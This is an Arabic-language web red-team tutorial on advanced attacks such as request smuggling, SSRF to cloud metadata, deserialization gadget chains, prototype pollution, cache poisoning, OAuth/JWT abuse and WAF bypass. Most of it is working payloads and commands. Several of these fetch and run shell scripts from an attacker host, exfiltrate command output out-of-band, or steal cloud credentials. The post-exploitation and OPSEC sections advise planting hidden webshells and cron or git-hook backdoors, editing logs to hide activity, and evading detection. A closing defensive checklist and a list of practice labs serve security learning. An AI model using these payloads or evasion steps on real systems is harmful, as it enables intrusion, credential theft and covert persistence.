Web Red Team Deep — لما الفريق الأحمر بيشتغل بجد
سلاسل استغلال متقدمة و blind techniques و WAF bypass
مقدمة — الويب مش OWASP Top 10
الدرس ده بيفترض إنك متمكن من OWASP Top 10 خلاص. هنا بنروح للسكة اللي orange.tw وsnyff وalbinowax وJames Kettle ساكنين فيها: request smuggling مركّب، prototype pollution → RCE، deserialization gadget chains، SSRF عن طريق cloud metadata، race conditions بـ single-packet، OAuth abuse، وWAF bypass عن طريق parser differential.
مثال واقعي: في 2021، Orange Tsai كسر ProxyShell على Exchange بسلسلة من 3 ثغرات — كل واحدة لوحدها "مش مهمة"، مع بعض = pre-auth RCE على ربع الإنترنت. ده شغل اللي بيفهم الطبقات، مش اللي بيحفظ payloads.
- بيرمي Nuclei بكل الـ templates على الهدف من غير ما يفهم — الـ WAF بيشتعل، الـ blue team بيتنبّه، والعملية اتحرقت في 5 دقائق.
- بيلاقي SSRF صغيّرة ويبلّغها — كان ممكن يستغلّها للوصول للـ IMDS ويحوّلها cloud takeover. Severity من "low" لـ "critical" قرار صياغة.
- بيستخدم burpcollaborator.net في عمليات حساسة — اسم النطاق ده محظور في معظم بيئات الـ enterprise. استضِف interactsh عندك.
- بيلاقي 1 ثغرة ويوقف — variant analysis: نفس النمط هيكون في 5 endpoints تانية على الأقل.
منهجية Red Team للويب — قبل الاستغلال
قبل ما ترمي ضربة واحدة، ارسم الـ stack: مين الـ CDN؟ Cloudflare ولا Akamai ولا Fastly؟ مين الـ WAF؟ مين الـ origin server؟ ورا origin في load balancer؟ التطبيق Java ولا Node ولا Python ولا Go ولا .NET؟ كل إجابة بتفتحلك فئة ثغرات وبتقفل تانية. الاستطلاع هو نص اللعبة.
# أساسيات
curl -sI https://target | head -30 # Server, X-Powered-By, CF-Ray, Via
nslookup target # IP، CNAME، Anycast؟
whatweb -a 4 https://target
wafw00f https://target
# هل الـ origin مكشوف؟
shodan search ssl:"target.com" -c 200 # أو crt.sh + scan IPs مباشرةالـ HTTP parser اللي شغال على الـ CDN ممكن يفهم الـ Content-Length بطريقة، والـ origin يفهمها بطريقة تانية. الفرق ده هو أصل الـ request smuggling. ابعت طلبات malformed خفيفة وراقب الفرق في الردود:
# طلب بـ Content-Length و Transfer-Encoding معاً
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGGG' | \
ncat --ssl target 443
# اختلاف الردود = الـ stack vulnerable لـ desync# مسارات admin، debug، API قديم
ffuf -u https://target/FUZZ -w SecLists/Discovery/Web-Content/raft-large-words.txt -mc 200,301,403
# JS bundles قد تكشف endpoints
linkfinder -i 'https://target/static/*.js' -o cli
# parameter discovery
arjun -u https://target/api/v2/users
# subdomain takeover
subzy run --targets subs.txtHTTP Request Smuggling — قلب أبحاث 2019-2026
POST / HTTP/1.1
Host: target
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDCDN يستخدم CL=13 → يمرر كل شيء. Origin يستخدم TE=chunked → يقرأ "0\\r\\n\\r\\n" كنهاية، و SMUGGLED يصبح بداية الطلب التالي.
POST / HTTP/1.1
Host: target
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
العكس — CDN يأخذ TE، origin يأخذ CL. شائع مع HAProxy/Apache.
في HTTP/2 لا توجد Content-Length — لكن CDN قد يحوّل لـ HTTP/1.1 و يضيف CL خاطئة. ابعث H2 frame مع CL مكذوب → desync حقيقي.
# Burp HTTP Request Smuggler extension
# أو nghttp2 لإرسال frames مخصصة
nghttp -v --header=':method: POST' --header='content-length: 0' \
https://target -d 'XGGG'كشف albinowax: HTTP/1.1 keep-alive + 0.CL يعطي smuggling حتى عبر CDNs ترفض CL/TE. التحدي = توقيت TCP packet boundary.
- سرقة Authorization headers: smuggle طلب تحت اسم ضحية، اخزن الرد المعكوس في cache.
- Cache poisoning: اجعل CDN يخزن صفحتك الخبيثة باسم URL شرعي.
- Internal endpoint bypass: smuggle طلب بـ
Host: localhostأو IP داخلي — يصل لـ admin APIs المحجوبة من الخارج. - Stored XSS via smuggle: استبدل response لمستخدم آخر → JS تحت origin الموقع.
SSRF متقدم — أكثر من جلب URL
# إذا التطبيق يجلب URL من user input
curl 'https://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
# الاسم → الـ creds
curl 'https://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME'
# AccessKeyId + SecretAccessKey + Token → الآن أنت EC2 instance# GCP — تتطلب header
curl -H 'Metadata-Flavor: Google' \
'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'
# Azure
curl -H 'Metadata: true' \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'إذا التطبيق يحجب IP literal، جرّب http://169.254.169.254.nip.io، DNS rebinding، أو IPv6 [::ffff:a9fe:a9fe].
# لا ترى الرد؟ استخدم out-of-band
curl 'https://target/api?webhook=http://attacker.burpcollab.net/x'
# أو DNS-only: تحفيز التطبيق على resolve لـ subdomain فريد
curl 'https://target/api?host=$(uuidgen).attacker.com'
# سجل DNS hits → SSRF أُكد# لو SSRF يقبل أي scheme
curl "https://target/fetch?url=gopher://10.0.0.5:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a..."
# تركيب أوامر Redis كاملة → كتابة مفتاح SSH أو cron jobDeserialization — RCE من سلسلة gadget
تطبيقات Java/PHP/Python/.NET/Ruby اللي بتعمل deserialize لـ input غير موثوق دي نقطة RCE كلاسيكية. الفكرة: مش بتشغّل الكود مباشرة — لأ، بتبني سلسلة من استدعاءات الـ getter/setter/magic methods (اسمها gadget chain) بتنتهي عند Runtime.exec أو system(). السلسلة دي هي ذكاء الـ exploit.
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker/x|sh' > p.bin
curl -X POST https://target/api/object \
-H 'Content-Type: application/x-java-serialized-object' \
--data-binary @p.binGadgets: CommonsCollections1-7, Spring1-2, Hibernate1-2, JRMPClient. اختر بناءً على dependencies الموجودة.
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "powershell IEX(IWR http://attacker/p.ps1)" -o base64
# ViewState أو Session
curl 'https://target/Default.aspx' -d "__VIEWSTATE=<base64>"phpggc -u Laravel/RCE9 system "id" | base64 -w0
# طبق على endpoint يعمل unserialize() على cookie أو bodyimport pickle, base64, os
class P:
def __reduce__(self):
return (os.system, ('curl http://attacker/x|sh',))
print(base64.b64encode(pickle.dumps(P())).decode())Prototype Pollution — JS من XSS إلى RCE
Object.prototype. لو قدرت تعدّل في __proto__، إنت بتغيّر سلوك كل object في التطبيق — حتى الكائنات اللي لسه متعملتش. على السيرفر (Node.js)، ده بيوصلك لـ RCE من غير ما حد ياخد باله.# Client-side
curl 'https://target/api/merge?__proto__[isAdmin]=true'
# الآن أي {} = isAdmin: true
# Server-side Node.js → RCE
# لو التطبيق يستخدم child_process.spawn أو render template
curl -X POST https://target/api/profile \
-H 'Content-Type: application/json' \
--data '{"__proto__":{"shell":"/bin/sh","argv0":"-c","NODE_OPTIONS":"--inspect-brk=0.0.0.0:9229"}}'
# عند أول spawn → debugger مكشوف → CDP RCE- handlebars/pug/ejs: pollute template helpers → SSTI → RCE.
- express: pollute
settings.view→ render path traversal. - NODE_OPTIONS: pollute env via
process.env.NODE_OPTIONS→ debugger inject.
Race Conditions — Single-Packet Attack (Kettle 2023)
# Burp Suite "Send group in single packet"
# أو turbo-intruder script
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, requestsPerConnection=30, pipeline=False)
for i in range(30):
engine.queue(target.req)
engine.openGate() # يطلق كل الطلبات معاً- كوبون مرة واحدة يُطبّق 30 مرة → خصم 100% من السلة.
- تحويل رصيد — استنزاف double-spending.
- OTP — 6 أرقام × عدد محاولات على جلسات متعددة في نفس الميلي ثانية → bypass rate-limit.
- دعوة مستخدم لمساحة عمل مدفوعة → 30 invite بـ نفس الـ token.
Cache Poisoning — تسليح CDN
# CDN يحدد الـ cache key من URL + بعض headers فقط
# لو التطبيق يعكس X-Forwarded-Host في الرد:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
# Response: <link href="//attacker.com/style.css">
# CDN يخزن هذا الرد لكل الزوار التاليين على /
# = stored XSS عبر cache على homepageالتقنية الأقوى من دي: Cache Deception. /profile/x.css — التطبيق بيقدّم الـ profile (بيتجاهل .css)، الـ CDN بيخزّنه كأنه static. أي زائر هييجي بعدك هيشوف ملفك الشخصي. كارثة بصمت.
OAuth / OIDC — كيف تكسر تسجيل الدخول
- Open redirect على redirect_uri: إذا التطبيق يقبل
redirect_uri=https://app.com.attacker.com→ تصل code للمهاجم. - Authorization code injection: ضحية يولّد code، أنت تُسلّمه لـ session جلسة أخرى → استلاء على حساب.
- state parameter مفقود → CSRF على ربط حسابات.
- JWT alg=none أو alg=HS256 مع public key كـ secret:
jwt_tool -X i. - kid/jku/x5u injection: أشر لـ JWKS مسيطَر عليه → JWT يثبَت بمفتاحك.
- Refresh token leakage في referer أو localStorage على XSS.
- PKCE bypass: لو السيرفر يقبل code بدون code_verifier → استلاء code → access.
# JWT tool — اختبر الكل دفعة
jwt_tool -t https://target/api -rh "Authorization: Bearer JWT" -M at
# ابحث عن Confused Deputy: JWT signed by IdP A مقبول في app BGraphQL — جبهة محدش فاكرها
# 1) introspection غالباً مفتوح حتى في prod
curl -X POST https://target/graphql -H 'Content-Type: application/json' \
-d '{"query":"{__schema{types{name fields{name}}}}"}'
# 2) Batching attacks → bypass rate-limit على login
{"query":"mutation { l1: login(u:\"a\",p:\"1\"){t} l2: login(u:\"a\",p:\"2\"){t} ... l1000: login(...) }"}
# 3) Field-level IDOR
{ user(id: 99) { email passwordHash } } # الـ resolver لا يفحص ownership
# 4) Nested query DoS
{ user { friends { friends { friends { ...×10 } } } } }WAF Bypass — معركة الـ parser
الـ WAF بيشغّل regex على اللي هو فاهمه. التطبيق فاهم حاجة مختلفة شوية. الفرق ده هو سطح الـ bypass. اللعبة كلها في الـ parser differential.
# WAF يفك URL-encode مرة. التطبيق (PHP/.NET) قد يفك مرتين.
?id=1%2527%2520OR%25201=1
# %25 → % → %27 → 'UnIoN/**/SeLeCt/**/1,2,3
# SQL parsers يقبلون كل التوليفات# WAF يفحص as URL، التطبيق يـ JSON.parse
?filter={"$gt":""} # MongoDB injection# Content-Type: text/plain → WAF يتجاهل، التطبيق يقرأ كـ JSON
curl -H 'Content-Type: text/plain' --data '{"role":"admin"}' \
https://target/api/profile# K (FULLWIDTH K) يصبح K بعد NFKC
?cmd=%EF%BC%AB %EF%BC%A5 %EF%BC%92 # Kerberos? K E 2 ...
# مفيد ضد regex على ASCII فقطWAFs قديمة لا تفحص :authority بنفس صرامة Host. حقن قيم مختلفة → الـ origin يقرأ غير ما يقرأه WAF.
Blind exploitation — عندما لا ترى شيئاً
- OOB (Out-of-Band): Burp Collaborator، interactsh، DNS+HTTP+SMTP. كل subdomain فريد = مؤشر.
- Time-based:
SLEEP(5)في SQLi،setTimeoutفي NoSQL،thread.sleepفي Java SSTI. - Boolean-based: لاحظ تغيّر طول الرد، عدد الأسطر، أو وجود/غياب كلمة معينة.
- Side-channel timing: hash comparison بدون constant-time → تخمين byte-by-byte.
- Cache-based: عملية تكلفتها cache miss تكشف وجود/عدم وجود قيمة.
# مثال blind SSTI Jinja2 مع OOB
curl 'https://target/render?name={{config.__class__.__init__.__globals__["os"].popen("curl http://OOB/?$(id)").read()}}'Post-Exploitation على الويب — بعد RCE
- اقرأ env vars فوراً:
cat /proc/self/environ,env. DB credentials، AWS keys، JWT secrets. - ابحث عن .env / config.yaml / appsettings.json داخل WORKDIR.
- K8s؟
cat /var/run/secrets/kubernetes.io/serviceaccount/token— قد يكون لك RBAC قوي. - Cloud metadata من container: نفس IMDS يعمل من داخل pod غير مقيد.
- SSH keys في home، authorized_keys، known_hosts → خريطة pivot.
- قاعدة بيانات: استخرج users + password hashes + session tokens. المستخدمون يعيدون استخدام كلمات السر.
- زرع backdoor صامت: webshell مخفي في endpoint موجود (مش ملف جديد). أو git hook، أو cron.
- غطِّ آثارك: لا تنفّذ
rm -rf /var/log— ذلك جرس إنذار. عدّل سجلات محددة.
OPSEC للمهاجم على الويب
- متستخدمش الـ IP بتاع بيتك أبداً. VPN → VPS → target. ولو ينفع، CDN-fronted callback.
- الـ User-Agent يطابق جمهور الهدف. متبعتش
python-requests/2.28— ده زي ما تقول "أهلاً أنا روبوت". - ابعد عن أنماط الفحص الجماعي. Nuclei بكل الـ templates بيشعل الـ WAF فوراً. اشتغل template by template مع
--rate-limit 5. - تأخير يدوي على الإجراءات الحرجة. مفيش إنسان بيعمل 100 request في الثانية.
- خبّي الـ payload في حقل مش بيتسجّل. كتير من التطبيقات بتسجّل الـ query string بس — استخدم الـ body أو الـ cookie.
- متستخدمش burpcollaborator.net مباشرة في العمليات الحساسة. استضيف interactsh على دومين خاص بيك.
- تنظيف post-exploitation: كل ملف رفعته، كل log عملته، كل حساب أضفته — وثّقه ثم شيله. حياتك المهنية في الترتيب.
معامل تطبيقية — تعلّم بالتجربة
- PortSwigger Web Security Academy — أفضل مرجع تفاعلي مجاني.
- HackTheBox / TryHackMe — مسارات web من الأساسي للخبير.
- Bug bounty على HackerOne / Bugcrowd — برامج VDP بدون مكافأة لكنها قانونية للتدريب.
- OWASP Juice Shop / DVWA / WebGoat — معامل محلية.
- كتاب The Web Application Hacker's Handbook — قديم لكنه أساس لا غنى عنه.
- أبحاث James Kettle / Orange Tsai / Sam Curry — اقرأ كل ما يكتبون.
الحماية — مرجع سريع
- Smuggling: HTTP/2 end-to-end، disable downgrade على CDN، reject ambiguous CL/TE.
- SSRF: قائمة بيضاء صريحة للـ hosts، حظر IP private + link-local + IMDS، IMDSv2 إجباري.
- Deserialization: لا تـ deserialize untrusted. لو لازم — JSON فقط مع schema validation.
- Prototype pollution:
Object.freeze(Object.prototype)+ libraries حديثة. - Race: idempotency keys، DB row locks، single-flight على العمليات الحرجة.
- Cache: cache-key يشمل كل الـ input headers، لا تخزّن responses بـ Vary غامض.
- OAuth: PKCE إجباري، state إجباري، redirect_uri exact match.
- GraphQL: عطّل introspection في prod، depth/complexity limits، per-field auth.
- WAF: layered defense — WAF + input validation داخل التطبيق + output encoding.